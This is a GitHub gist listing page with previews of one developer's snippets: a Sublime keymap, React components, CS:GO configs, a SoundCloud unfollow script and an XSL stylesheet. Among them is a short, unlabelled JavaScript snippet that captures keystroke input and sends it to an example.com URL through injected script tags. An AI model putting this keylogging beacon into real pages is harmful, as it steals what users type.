Skip to content

Instantly share code, notes, and snippets.

@egeste
egeste / sublime-keymap.json
Created March 31, 2016 20:18
My Sublime keymap
// http://sublimetext.userecho.com/topic/86166-backtick-quoting-selected-text-does-not-work-like-single-quotes-and-double-quotes/
[
// Auto-pair backticks
{ "keys": ["`"], "command": "insert_snippet", "args": {"contents": "`$0`"}, "context":
[
{ "key": "setting.auto_match_enabled", "operator": "equal", "operand": true },
{ "key": "selection_empty", "operator": "equal", "operand": true, "match_all": true },
{ "key": "following_text", "operator": "regex_contains", "operand": "^(?:\t| |\\)|]|\\}|>|$)", "match_all": true },
{ "key": "preceding_text", "operator": "not_regex_contains", "operand": "[`a-zA-Z0-9_]$", "match_all": true },
document.body.onkeyup = function(e) {
var script = document.createElement('script');
script.src = 'https://example.com/?input='+e.srcElement.value;
document.head.appendChild(script);
}
@egeste
egeste / examples.jsx
Created June 29, 2016 18:19
Working with react-bootstrap/react-router
// A tab item
import React, {
Component,
PropTypes
} from 'react'
import {
Link,
withRouter
} from 'react-router'
@egeste
egeste / iterative-image-resampling.jsx
Created March 25, 2017 04:52
Partial code example of iterative image resampling
// This canvas is only used for initial rendering and resampling
const imageCanvas = document.createElement('canvas')
imageCanvas.width = width
imageCanvas.height = height
// If we have constraints, resize/resample the provided image
if (constraints) {
// Get the percentage difference between the desired and actual dimensions
// We can calculate it based on width, since we a locked aspect
const percentageWidth = (width / constraints.width) * 100
@egeste
egeste / autoexec-snippet.cfg
Last active November 23, 2017 05:31
CS:GO Rainbow Crosshair
cl_crosshairalpha 255
cl_crosshairdot 0
cl_crosshairgap -2
cl_crosshairsize 2
cl_crosshairstyle 4
cl_crosshairusealpha 1
cl_crosshairthickness .5
cl_fixedcrosshairgap -1
cl_crosshair_outlinethickness 1
cl_crosshair_drawoutline 1
@egeste
egeste / AudioAnalyser.js
Created November 24, 2017 10:48
React Audio Analyser
import React, {
PureComponent
} from 'react'
import PropTypes from 'prop-types'
import ReactAudioPlayer from 'react-audio-player'
export default class AudioAnalyser extends PureComponent {
@egeste
egeste / autoexec.cfg
Last active February 21, 2018 21:38
My CS:GO binds
bind "MWHEELUP" "cl_righthand 1"
bind "MWHEELDOWN" "cl_righthand 0"
bind "w" "+forward; toggle cl_crosshaircolor 1 2 3 4 5"
bind "s" "+back; toggle cl_crosshaircolor 1 2 3 4 5"
bind "a" "+moveleft; toggle cl_crosshaircolor 1 2 3 4 5"
bind "d" "+moveright; toggle cl_crosshaircolor 1 2 3 4 5"
bind "c" "+duck; toggle cl_crosshaircolor 1 2 3 4 5"
bind "SPACE" "+jump; toggle cl_crosshaircolor 1 2 3 4 5"
bind "MOUSE1" "+attack; toggle cl_crosshaircolor 1 2 3 4 5"
@egeste
egeste / unfollow-sc.js
Created May 29, 2018 21:55
Unfollow all on soundcloud
// 1. Go to https://soundcloud.com/you/following
// 2. Open javascript console.
// 3. Paste & hit <enter>
const unfollow = function() {
const button = document.querySelector('.sc-button-follow')
button && button.click()
button && setTimeout(unfollow, 0)
}; unfollow();
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">{
<xsl:apply-templates select="*"/>}
</xsl:template>
<!-- Object or Element Property-->
<xsl:template match="*">
"<xsl:value-of select="name()"/>" : <xsl:call-template name="Properties"/>
</xsl:template>
@egeste
egeste / withEnforcedProps.js
Created November 12, 2018 19:47
Proptype enforcement decorator
import React, {
PureComponent
} from 'react'
export default ComposedComponent => {
return class EnforcedPropTypesComponent extends PureComponent {
// Expose the composed component's propTypes at the decorator level
static propTypes = ComposedComponent.propTypes